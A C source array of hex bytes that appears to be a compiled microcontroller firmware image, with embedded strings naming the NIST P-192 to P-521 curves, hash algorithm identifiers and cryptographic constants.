0x7cu, 0x14u, 0x9au, 0x28u, 0xbdu, 0x1du, 0xf4u, 0xf8u, 0x29u, 0xdcu, 0x92u, 0x92u, 0xbfu, 0x98u, 0x9eu, 0x5du,
0x6fu, 0x2cu, 0x26u, 0x96u, 0x4au, 0xdeu, 0x17u, 0x36u, 0x73u, 0x29u, 0xc5u, 0xccu, 0x6au, 0x19u, 0xecu, 0xecu,
0x7au, 0xa7u, 0xb0u, 0x48u, 0xb2u, 0x0du, 0x1au, 0x58u, 0xdfu, 0x2du, 0x37u, 0xf4u, 0x81u, 0x4du, 0x63u, 0xc7u,
0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu,
0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0x8du, 0xd6u, 0x3au, 0x33u, 0x95u, 0xe6u, 0x13u, 0x13u,
0x85u, 0x58u, 0x4fu, 0xb7u, 0x4du, 0xf2u, 0xe5u, 0xa7u, 0x20u, 0xd2u, 0xc8u, 0x0bu, 0x7eu, 0xb2u, 0x9cu, 0x38u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x01u, 0x00u, 0x00u, 0x00u, 0x01u, 0x00u, 0x00u, 0x00u,
0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0x00u, 0x00u, 0x00u, 0x00u, 0x01u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x01u, 0x00u, 0x00u, 0x00u,
0xffu, 0xffu, 0xffu, 0xffu, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0xffu, 0xffu, 0xffu, 0xffu,
0xfeu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu,
0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu,
0x66u, 0xbdu, 0xe5u, 0xc2u, 0x31u, 0x7eu, 0x7eu, 0xf9u, 0x9bu, 0x42u, 0x6au, 0x85u, 0xc1u, 0xb3u, 0x48u, 0x33u,
0xdeu, 0xa8u, 0xffu, 0xa2u, 0x27u, 0xc1u, 0x1du, 0xfeu, 0x28u, 0x59u, 0xe7u, 0xefu, 0x77u, 0x5eu, 0x4bu, 0xa1u,
0xbau, 0x3du, 0x4du, 0x6bu, 0x60u, 0xafu, 0x28u, 0xf8u, 0x21u, 0xb5u, 0x3fu, 0x05u, 0x39u, 0x81u, 0x64u, 0x9cu,
0x42u, 0xb4u, 0x95u, 0x23u, 0x66u, 0xcbu, 0x3eu, 0x9eu, 0xcdu, 0xe9u, 0x04u, 0x04u, 0xb7u, 0x06u, 0x8eu, 0x85u,
0xc6u, 0x00u, 0x00u, 0x00u, 0x50u, 0x66u, 0xd1u, 0x9fu, 0x76u, 0x94u, 0xbeu, 0x88u, 0x40u, 0xc2u, 0x72u, 0xa2u,
0x86u, 0x70u, 0x3cu, 0x35u, 0x61u, 0x07u, 0xadu, 0x3fu, 0x01u, 0xb9u, 0x50u, 0xc5u, 0x40u, 0x26u, 0xf4u, 0x5eu,
0x99u, 0x72u, 0xeeu, 0x97u, 0x2cu, 0x66u, 0x3eu, 0x27u, 0x17u, 0xbdu, 0xafu, 0x17u, 0x68u, 0x44u, 0x9bu, 0x57u,
0x49u, 0x44u, 0xf5u, 0x98u, 0xd9u, 0x1bu, 0x7du, 0x2cu, 0xb4u, 0x5fu, 0x8au, 0x5cu, 0x04u, 0xc0u, 0x3bu, 0x9au,
0x78u, 0x6au, 0x29u, 0x39u, 0x18u, 0x01u, 0x00u, 0x00u, 0x09u, 0x64u, 0x38u, 0x91u, 0x1eu, 0xb7u, 0x6fu, 0xbbu,
0xaeu, 0x47u, 0x9cu, 0x89u, 0xb8u, 0xc9u, 0xb5u, 0x3bu, 0xd0u, 0xa5u, 0x09u, 0xf7u, 0x48u, 0x01u, 0xccu, 0x7fu,
0x6bu, 0x96u, 0x2fu, 0xbfu, 0x83u, 0x87u, 0x86u, 0x51u, 0xfau, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu,
0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu,
0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0x01u, 0x00u, 0x00u, 0xf7u, 0x9bu, 0xc7u, 0x6eu,
0xe1u, 0x48u, 0x90u, 0x44u, 0x51u, 0xb8u, 0x63u, 0x76u, 0x47u, 0x36u, 0x4au, 0xc4u, 0x2fu, 0x5au, 0xf6u, 0x08u,
0xb7u, 0xfeu, 0x33u, 0x80u, 0x94u, 0x69u, 0xd0u, 0x40u, 0x7cu, 0x78u, 0x79u, 0xaeu, 0x05u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x02u, 0x00u, 0x00u,
0x01u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x02u, 0x00u, 0x00u, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu,
0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu,
0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu,
0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu,
0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0x01u, 0x4eu, 0x49u, 0x53u, 0x54u, 0x20u, 0x50u, 0x2du, 0x31u, 0x39u, 0x32u,
0x00u, 0x4eu, 0x49u, 0x53u, 0x54u, 0x20u, 0x50u, 0x2du, 0x32u, 0x32u, 0x34u, 0x00u, 0x4eu, 0x49u, 0x53u, 0x54u,
0x20u, 0x50u, 0x2du, 0x32u, 0x35u, 0x36u, 0x00u, 0x4eu, 0x49u, 0x53u, 0x54u, 0x20u, 0x50u, 0x2du, 0x33u, 0x38u,
0x34u, 0x00u, 0x4eu, 0x49u, 0x53u, 0x54u, 0x20u, 0x50u, 0x2du, 0x35u, 0x32u, 0x31u, 0x00u, 0x01u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu,
0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xfeu, 0xffu, 0xffu, 0xffu, 0x01u, 0x00u, 0x00u, 0x00u, 0xffu, 0xffu, 0xffu,
0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0x00u, 0x00u, 0x00u, 0x00u, 0x01u, 0x00u, 0x00u, 0x04u, 0x00u, 0x00u, 0x00u,
0x40u, 0x00u, 0x00u, 0x00u, 0x44u, 0x00u, 0x00u, 0x00u, 0x48u, 0x00u, 0x00u, 0x00u, 0x80u, 0x00u, 0x00u, 0x00u,
0x00u, 0x01u, 0x00u, 0x00u, 0x10u, 0x02u, 0x00u, 0x00u, 0x88u, 0x02u, 0x00u, 0x00u, 0x00u, 0x04u, 0x00u, 0x00u,
0x10u, 0x04u, 0x00u, 0x00u, 0x20u, 0x04u, 0x00u, 0x00u, 0x40u, 0x04u, 0x00u, 0x00u, 0x48u, 0x04u, 0x00u, 0x00u,
0x80u, 0x04u, 0x00u, 0x00u, 0x84u, 0x04u, 0x00u, 0x00u, 0x90u, 0x04u, 0x00u, 0x00u, 0xc0u, 0x07u, 0x00u, 0x00u,
0xc4u, 0x07u, 0x00u, 0x00u, 0xc8u, 0x07u, 0x00u, 0x00u, 0xccu, 0x07u, 0x00u, 0x00u, 0x00u, 0x40u, 0x00u, 0x00u,
0x04u, 0x10u, 0x00u, 0x00u, 0x40u, 0x10u, 0x00u, 0x00u, 0x44u, 0x10u, 0x00u, 0x00u, 0x48u, 0x10u, 0x00u, 0x00u,
0xc0u, 0x14u, 0x00u, 0x00u, 0x00u, 0x11u, 0x00u, 0x00u, 0x18u, 0x02u, 0x00u, 0x00u, 0x98u, 0x02u, 0x00u, 0x00u,
0x00u, 0x14u, 0x00u, 0x00u, 0x10u, 0x14u, 0x00u, 0x00u, 0x20u, 0x14u, 0x00u, 0x00u, 0x40u, 0x14u, 0x00u, 0x00u,
0x48u, 0x14u, 0x00u, 0x00u, 0x80u, 0x14u, 0x00u, 0x00u, 0x84u, 0x14u, 0x00u, 0x00u, 0x90u, 0x14u, 0x00u, 0x00u,
0x00u, 0x01u, 0x00u, 0x00u, 0x04u, 0x01u, 0x00u, 0x00u, 0x08u, 0x01u, 0x00u, 0x00u, 0x0cu, 0x01u, 0x00u, 0x00u,
0x00u, 0x80u, 0x00u, 0x00u, 0x6eu, 0x74u, 0x00u, 0x10u, 0x7du, 0x74u, 0x00u, 0x10u, 0x90u, 0x74u, 0x00u, 0x10u,
0xa3u, 0x74u, 0x00u, 0x10u, 0xb6u, 0x74u, 0x00u, 0x10u, 0xdcu, 0x74u, 0x00u, 0x10u, 0xc9u, 0x74u, 0x00u, 0x10u,
0x0fu, 0x13u, 0x13u, 0x13u, 0x13u, 0x13u, 0x13u, 0x14u, 0x1cu, 0x20u, 0x30u, 0x40u, 0x20u, 0x1cu, 0x30u, 0x21u,
0x30u, 0x09u, 0x06u, 0x05u, 0x2bu, 0x0eu, 0x03u, 0x02u, 0x1au, 0x05u, 0x00u, 0x04u, 0x14u, 0x30u, 0x2du, 0x30u,
0x0du, 0x06u, 0x09u, 0x60u, 0x86u, 0x48u, 0x01u, 0x65u, 0x03u, 0x04u, 0x02u, 0x04u, 0x05u, 0x00u, 0x04u, 0x1cu,
0x30u, 0x31u, 0x30u, 0x0du, 0x06u, 0x09u, 0x60u, 0x86u, 0x48u, 0x01u, 0x65u, 0x03u, 0x04u, 0x02u, 0x01u, 0x05u,
0x00u, 0x04u, 0x20u, 0x30u, 0x41u, 0x30u, 0x0du, 0x06u, 0x09u, 0x60u, 0x86u, 0x48u, 0x01u, 0x65u, 0x03u, 0x04u,
0x02u, 0x02u, 0x05u, 0x00u, 0x04u, 0x30u, 0x30u, 0x51u, 0x30u, 0x0du, 0x06u, 0x09u, 0x60u, 0x86u, 0x48u, 0x01u,
0x65u, 0x03u, 0x04u, 0x02u, 0x03u, 0x05u, 0x00u, 0x04u, 0x40u, 0x30u, 0x2du, 0x30u, 0x0du, 0x06u, 0x09u, 0x60u,
0x86u, 0x48u, 0x01u, 0x65u, 0x03u, 0x04u, 0x02u, 0x05u, 0x05u, 0x00u, 0x04u, 0x1cu, 0x30u, 0x31u, 0x30u, 0x0du,
0x06u, 0x09u, 0x60u, 0x86u, 0x48u, 0x01u, 0x65u, 0x03u, 0x04u, 0x02u, 0x06u, 0x05u, 0x00u, 0x04u, 0x20u, 0x00u,
0x01u, 0x23u, 0x45u, 0x67u, 0x89u, 0xabu, 0xcdu, 0xefu, 0xfeu, 0xdcu, 0xbau, 0x98u, 0x76u, 0x54u, 0x32u, 0x10u,
0xf0u, 0xe1u, 0xd2u, 0xc3u, 0xd8u, 0x9eu, 0x05u, 0xc1u, 0x07u, 0xd5u, 0x7cu, 0x36u, 0x17u, 0xddu, 0x70u, 0x30u,
0x39u, 0x59u, 0x0eu, 0xf7u, 0x31u, 0x0bu, 0xc0u, 0xffu, 0x11u, 0x15u, 0x58u, 0x68u, 0xa7u, 0x8fu, 0xf9u, 0x64u,
0xa4u, 0x4fu, 0xfau, 0xbeu, 0x67u, 0xe6u, 0x09u, 0x6au, 0x85u, 0xaeu, 0x67u, 0xbbu, 0x72u, 0xf3u, 0x6eu, 0x3cu,
0x3au, 0xf5u, 0x4fu, 0xa5u, 0x7fu, 0x52u, 0x0eu, 0x51u, 0x8cu, 0x68u, 0x05u, 0x9bu, 0xabu, 0xd9u, 0x83u, 0x1fu,
0x19u, 0xcdu, 0xe0u, 0x5bu, 0x5du, 0x9du, 0xbbu, 0xcbu, 0xd8u, 0x9eu, 0x05u, 0xc1u, 0x2au, 0x29u, 0x9au, 0x62u,
0x07u, 0xd5u, 0x7cu, 0x36u, 0x5au, 0x01u, 0x59u, 0x91u, 0x17u, 0xddu, 0x70u, 0x30u, 0xd8u, 0xecu, 0x2fu, 0x15u,
0x39u, 0x59u, 0x0eu, 0xf7u, 0x67u, 0x26u, 0x33u, 0x67u, 0x31u, 0x0bu, 0xc0u, 0xffu, 0x87u, 0x4au, 0xb4u, 0x8eu,
0x11u, 0x15u, 0x58u, 0x68u, 0x0du, 0x2eu, 0x0cu, 0xdbu, 0xa7u, 0x8fu, 0xf9u, 0x64u, 0x1du, 0x48u, 0xb5u, 0x47u,
0xa4u, 0x4fu, 0xfau, 0xbeu, 0x67u, 0xe6u, 0x09u, 0x6au, 0x08u, 0xc9u, 0xbcu, 0xf3u, 0x85u, 0xaeu, 0x67u, 0xbbu,
0x3bu, 0xa7u, 0xcau, 0x84u, 0x72u, 0xf3u, 0x6eu, 0x3cu, 0x2bu, 0xf8u, 0x94u, 0xfeu, 0x3au, 0xf5u, 0x4fu, 0xa5u,
0xf1u, 0x36u, 0x1du, 0x5fu, 0x7fu, 0x52u, 0x0eu, 0x51u, 0xd1u, 0x82u, 0xe6u, 0xadu, 0x8cu, 0x68u, 0x05u, 0x9bu,
0x1fu, 0x6cu, 0x3eu, 0x2bu, 0xabu, 0xd9u, 0x83u, 0x1fu, 0x6bu, 0xbdu, 0x41u, 0xfbu, 0x19u, 0xcdu, 0xe0u, 0x5bu,
0x79u, 0x21u, 0x7eu, 0x13u, 0xc8u, 0x37u, 0x3du, 0x8cu, 0xa2u, 0x4du, 0x54u, 0x19u, 0x66u, 0x99u, 0xe1u, 0x73u,
0xd6u, 0xd4u, 0xdcu, 0x89u, 0xaeu, 0xb7u, 0xfau, 0x1du, 0x82u, 0x9cu, 0xffu, 0x32u, 0x14u, 0xd5u, 0x9du, 0x67u,
0xcfu, 0x9fu, 0x2fu, 0x58u, 0x69u, 0x2bu, 0x6du, 0x0fu, 0xa8u, 0x4du, 0xd4u, 0x7bu, 0x73u, 0x6fu, 0xe3u, 0x77u,
0x42u, 0x89u, 0xc4u, 0x04u, 0xa8u, 0x85u, 0x9du, 0x3fu, 0xc8u, 0x36u, 0x1du, 0x6au, 0xadu, 0xe6u, 0x12u, 0x11u,
0xa1u, 0x92u, 0xd6u, 0x91u, 0x94u, 0x21u, 0x31u, 0x22u, 0x2cu, 0xf7u, 0x2bu, 0xfcu, 0xa3u, 0x5fu, 0x55u, 0x9fu,
0xc2u, 0x64u, 0x4cu, 0xc8u, 0x6bu, 0xb8u, 0x93u, 0x23u, 0x51u, 0xb1u, 0x53u, 0x6fu, 0x19u, 0x77u, 0x38u, 0x96u,
0xbdu, 0xeau, 0x40u, 0x59u, 0xe2u, 0x3eu, 0x28u, 0x96u, 0xe3u, 0xffu, 0x8eu, 0xa8u, 0x25u, 0x1eu, 0x5eu, 0xbeu,
0x92u, 0x39u, 0x86u, 0x53u, 0xfcu, 0x99u, 0x01u, 0x2bu, 0xaau, 0xb8u, 0x85u, 0x2cu, 0xdcu, 0x2du, 0xb7u, 0x0eu,
0xa2u, 0x2cu, 0xc5u, 0x81u, 0x67u, 0x45u, 0x23u, 0x01u, 0xefu, 0xcdu, 0xabu, 0x89u, 0x98u, 0xbau, 0xdcu, 0xfeu,
0x10u, 0x32u, 0x54u, 0x76u, 0xc3u, 0xd2u, 0xe1u, 0xf0u, 0xc1u, 0x05u, 0x9eu, 0xd8u, 0x36u, 0x7cu, 0xd5u, 0x07u,
0x30u, 0x70u, 0xddu, 0x17u, 0xf7u, 0x0eu, 0x59u, 0x39u, 0xffu, 0xc0u, 0x0bu, 0x31u, 0x68u, 0x58u, 0x15u, 0x11u,
0x64u, 0xf9u, 0x8fu, 0xa7u, 0xbeu, 0xfau, 0x4fu, 0xa4u, 0x6au, 0x09u, 0xe6u, 0x67u, 0xbbu, 0x67u, 0xaeu, 0x85u,
0x3cu, 0x6eu, 0xf3u, 0x72u, 0xa5u, 0x4fu, 0xf5u, 0x3au, 0x51u, 0x0eu, 0x52u, 0x7fu, 0x9bu, 0x05u, 0x68u, 0x8cu,
0x1fu, 0x83u, 0xd9u, 0xabu, 0x5bu, 0xe0u, 0xcdu, 0x19u, 0xcbu, 0xbbu, 0x9du, 0x5du, 0xc1u, 0x05u, 0x9eu, 0xd8u,
0x62u, 0x9au, 0x29u, 0x2au, 0x36u, 0x7cu, 0xd5u, 0x07u, 0x91u, 0x59u, 0x01u, 0x5au, 0x30u, 0x70u, 0xddu, 0x17u,
0x15u, 0x2fu, 0xecu, 0xd8u, 0xf7u, 0x0eu, 0x59u, 0x39u, 0x67u, 0x33u, 0x26u, 0x67u, 0xffu, 0xc0u, 0x0bu, 0x31u,
0x8eu, 0xb4u, 0x4au, 0x87u, 0x68u, 0x58u, 0x15u, 0x11u, 0xdbu, 0x0cu, 0x2eu, 0x0du, 0x64u, 0xf9u, 0x8fu, 0xa7u,
0x47u, 0xb5u, 0x48u, 0x1du, 0xbeu, 0xfau, 0x4fu, 0xa4u, 0x6au, 0x09u, 0xe6u, 0x67u, 0xf3u, 0xbcu, 0xc9u, 0x08u,
0xbbu, 0x67u, 0xaeu, 0x85u, 0x84u, 0xcau, 0xa7u, 0x3bu, 0x3cu, 0x6eu, 0xf3u, 0x72u, 0xfeu, 0x94u, 0xf8u, 0x2bu,
0xa5u, 0x4fu, 0xf5u, 0x3au, 0x5fu, 0x1du, 0x36u, 0xf1u, 0x51u, 0x0eu, 0x52u, 0x7fu, 0xadu, 0xe6u, 0x82u, 0xd1u,
0x9bu, 0x05u, 0x68u, 0x8cu, 0x2bu, 0x3eu, 0x6cu, 0x1fu, 0x1fu, 0x83u, 0xd9u, 0xabu, 0xfbu, 0x41u, 0xbdu, 0x6bu,
0x5bu, 0xe0u, 0xcdu, 0x19u, 0x13u, 0x7eu, 0x21u, 0x79u, 0x8cu, 0x3du, 0x37u, 0xc8u, 0x19u, 0x54u, 0x4du, 0xa2u,
0x73u, 0xe1u, 0x99u, 0x66u, 0x89u, 0xdcu, 0xd4u, 0xd6u, 0x1du, 0xfau, 0xb7u, 0xaeu, 0x32u, 0xffu, 0x9cu, 0x82u,
0x67u, 0x9du, 0xd5u, 0x14u, 0x58u, 0x2fu, 0x9fu, 0xcfu, 0x0fu, 0x6du, 0x2bu, 0x69u, 0x7bu, 0xd4u, 0x4du, 0xa8u,
0x77u, 0xe3u, 0x6fu, 0x73u, 0x04u, 0xc4u, 0x89u, 0x42u, 0x3fu, 0x9du, 0x85u, 0xa8u, 0x6au, 0x1du, 0x36u, 0xc8u,
0x11u, 0x12u, 0xe6u, 0xadu, 0x91u, 0xd6u, 0x92u, 0xa1u, 0x22u, 0x31u, 0x21u, 0x94u, 0xfcu, 0x2bu, 0xf7u, 0x2cu,
0x9fu, 0x55u, 0x5fu, 0xa3u, 0xc8u, 0x4cu, 0x64u, 0xc2u, 0x23u, 0x93u, 0xb8u, 0x6bu, 0x6fu, 0x53u, 0xb1u, 0x51u,
0x96u, 0x38u, 0x77u, 0x19u, 0x59u, 0x40u, 0xeau, 0xbdu, 0x96u, 0x28u, 0x3eu, 0xe2u, 0xa8u, 0x8eu, 0xffu, 0xe3u,
0xbeu, 0x5eu, 0x1eu, 0x25u, 0x53u, 0x86u, 0x39u, 0x92u, 0x2bu, 0x01u, 0x99u, 0xfcu, 0x2cu, 0x85u, 0xb8u, 0xaau,
0x0eu, 0xb7u, 0x2du, 0xdcu, 0x81u, 0xc5u, 0x2cu, 0xa2u, 0x6du, 0x41u, 0x00u, 0x10u, 0x8du, 0x41u, 0x00u, 0x10u,
0xf5u, 0x55u, 0x00u, 0x10u, 0x01u, 0x02u, 0x00u, 0x10u, 0x55u, 0x02u, 0x00u, 0x10u, 0x95u, 0x02u, 0x00u, 0x10u,
0x91u, 0x03u, 0x00u, 0x10u, 0x2du, 0x04u, 0x00u, 0x10u, 0x01u, 0x0cu, 0x00u, 0x10u, 0xfdu, 0x4fu, 0x00u, 0x10u,
0xf5u, 0x34u, 0x00u, 0x10u, 0xb5u, 0x3du, 0x00u, 0x10u, 0xf1u, 0x3du, 0x00u, 0x10u, 0x29u, 0x3eu, 0x00u, 0x10u,
0x65u, 0x3eu, 0x00u, 0x10u, 0x1du, 0x0fu, 0x00u, 0x10u, 0x59u, 0x0fu, 0x00u, 0x10u, 0xc5u, 0x10u, 0x00u, 0x10u,
0x5du, 0x11u, 0x00u, 0x10u, 0xcdu, 0x48u, 0x00u, 0x10u, 0xedu, 0x4bu, 0x00u, 0x10u, 0x29u, 0x48u, 0x00u, 0x10u,
0xc1u, 0x41u, 0x00u, 0x10u, 0xe1u, 0x41u, 0x00u, 0x10u, 0x69u, 0x56u, 0x00u, 0x10u, 0xd3u, 0x06u, 0x00u, 0x10u,
0xffu, 0x06u, 0x00u, 0x10u, 0x61u, 0x07u, 0x00u, 0x10u, 0x69u, 0x08u, 0x00u, 0x10u, 0x4du, 0x09u, 0x00u, 0x10u,
0xb9u, 0x0eu, 0x00u, 0x10u, 0x89u, 0x55u, 0x00u, 0x10u, 0x99u, 0x36u, 0x00u, 0x10u, 0x59u, 0x3fu, 0x00u, 0x10u,
0xd5u, 0x3fu, 0x00u, 0x10u, 0x49u, 0x40u, 0x00u, 0x10u, 0xddu, 0x40u, 0x00u, 0x10u, 0x09u, 0x10u, 0x00u, 0x10u,
0x45u, 0x10u, 0x00u, 0x10u, 0xc9u, 0x12u, 0x00u, 0x10u, 0x51u, 0x13u, 0x00u, 0x10u, 0xcdu, 0x48u, 0x00u, 0x10u,
0xedu, 0x4bu, 0x00u, 0x10u, 0x29u, 0x48u, 0x00u, 0x10u, 0x00u, 0x00u, 0x20u, 0x40u, 0x00u, 0x00u, 0x24u, 0x40u,
0x00u, 0x00u, 0x00u, 0x40u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x23u, 0x40u, 0x00u, 0x00u, 0x30u, 0x40u,
0x00u, 0x00u, 0x31u, 0x40u, 0x00u, 0x00u, 0x9fu, 0x40u, 0x00u, 0x00u, 0x22u, 0x40u, 0x00u, 0x00u, 0x10u, 0x40u,
0x20u, 0x20u, 0x20u, 0x20u, 0x20u, 0x13u, 0x10u, 0x10u, 0x1du, 0x20u, 0x80u, 0x00u, 0x17u, 0x00u, 0x75u, 0x00u,
0xffu, 0x03u, 0x05u, 0x01u, 0x05u, 0x1cu, 0x03u, 0x10u, 0x00u, 0x00u, 0x01u, 0x00u, 0x3fu, 0xc0u, 0x00u, 0x00u,
0x00u, 0x04u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x19u, 0x32u, 0x4bu, 0x64u, 0x7du, 0x00u, 0x80u,
0x40u, 0x00u, 0x08u, 0x0bu, 0x10u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0xffu, 0x01u, 0x20u, 0x02u, 0x00u, 0x1fu,
0x00u, 0x80u, 0x00u, 0x04u, 0xffu, 0x08u, 0x10u, 0x18u, 0x00u, 0x10u, 0x00u, 0x14u, 0x00u, 0x18u, 0x00u, 0x1cu,
0x40u, 0x44u, 0x48u, 0x4cu, 0x50u, 0x00u, 0x00u, 0x00u, 0x08u, 0x10u, 0x00u, 0x00u, 0x08u, 0x00u, 0x00u, 0x00u,
0x04u, 0x00u, 0x00u, 0x00u, 0x04u, 0x10u, 0x00u, 0x00u, 0x00u, 0x12u, 0x00u, 0x00u, 0x04u, 0x21u, 0x00u, 0x00u,
0x00u, 0x21u, 0x00u, 0x00u, 0x00u, 0x16u, 0x00u, 0x00u, 0x40u, 0x11u, 0x40u, 0x02u, 0xc4u, 0x13u, 0x00u, 0x13u,
0x80u, 0x13u, 0xa0u, 0x13u, 0x20u, 0x00u, 0x00u, 0x00u, 0x1cu, 0x00u, 0x00u, 0x00u, 0x03u, 0x00u, 0x00u, 0x00u,
0x01u, 0x00u, 0x00u, 0x00u, 0x02u, 0x00u, 0x00u, 0x00u, 0x03u, 0x00u, 0x19u, 0x00u, 0x02u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x02u, 0x00u, 0x18u, 0x00u,
0x02u, 0x00u, 0x00u, 0x00u, 0x04u, 0x00u, 0x74u, 0x00u, 0x02u, 0x00u, 0x00u, 0x00u, 0x03u, 0x00u, 0x00u, 0x00u,
0x01u, 0x00u, 0x00u, 0x00u, 0x01u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x05u, 0x03u, 0x60u, 0x00u,
0x04u, 0x00u, 0x00u, 0x00u, 0x01u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x01u, 0x00u, 0x00u, 0x00u,
0x06u, 0x04u, 0x60u, 0x00u, 0x08u, 0x00u, 0x00u, 0x00u, 0x14u, 0x07u, 0x00u, 0x08u, 0x15u, 0x68u, 0x00u, 0x10u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x10u, 0x00u, 0x00u, 0x00u, 0x08u, 0x80u, 0x00u, 0x00u, 0x00u,
0x84u, 0x79u, 0x00u, 0x10u, 0x80u, 0x00u, 0x00u, 0x08u, 0x60u, 0x04u, 0x00u, 0x00u, 0x18u, 0x05u, 0x00u, 0x08u,
0x4cu, 0x02u, 0x00u, 0x00u, 0x02u, 0x00u, 0x00u, 0x00u, 0x00u, 0x09u, 0x3du, 0x00u, 0x00u, 0x12u, 0x7au, 0x00u,
0x00u, 0x09u, 0x3du, 0x00u, 0x00u, 0x00u, 0xd0u, 0x07u, 0x00u, 0x09u, 0x3du, 0x00u, 0xa0u, 0x0fu, 0x00u, 0x00u,
0x04u, 0x00u, 0x00u, 0x00u, 0xa9u, 0x00u, 0x00u, 0x10u, 0x81u, 0x00u, 0x00u, 0x10u, 0x80u, 0xb2u, 0x30u, 0xb5u,
0xc0u, 0x00u, 0x20u, 0xd0u, 0x10u, 0x4bu, 0x07u, 0x22u, 0x1cu, 0x68u, 0x23u, 0x00u, 0xacu, 0x33u, 0x1bu, 0x88u,
0x5au, 0x43u, 0x23u, 0x6au, 0xd3u, 0x18u, 0x19u, 0x68u, 0x00u, 0x29u, 0xfcu, 0xdau, 0x3eu, 0x21u, 0x0bu, 0x4bu,
0x06u, 0x25u, 0x19u, 0x60u, 0x0au, 0x4bu, 0x0bu, 0x49u, 0x19u, 0x60u, 0xa3u, 0x21u, 0x0au, 0x4bu, 0xc9u, 0x00u,
0x5du, 0x50u, 0x0au, 0x49u, 0x58u, 0x50u, 0x58u, 0x58u, 0x20u, 0x6au, 0x12u, 0x18u, 0x00u, 0x20u, 0x50u, 0x60u,
0x5au, 0x58u, 0x00u, 0x2au, 0xfcu, 0xdau, 0x30u, 0xbdu, 0x34u, 0x07u, 0x00u, 0x08u, 0x04u, 0x01u, 0x26u, 0x40u,
0x08u, 0x01u, 0x26u, 0x40u, 0x1eu, 0x1fu, 0x00u, 0x00u, 0x00u, 0x00u, 0x26u, 0x40u, 0x1cu, 0x05u, 0x00u, 0x00u,
0x10u, 0xb5u, 0x43u, 0x78u, 0xffu, 0x2bu, 0x11u, 0xd1u, 0x00u, 0xf0u, 0x94u, 0xf9u, 0x04u, 0x00u, 0x03u, 0x20u,
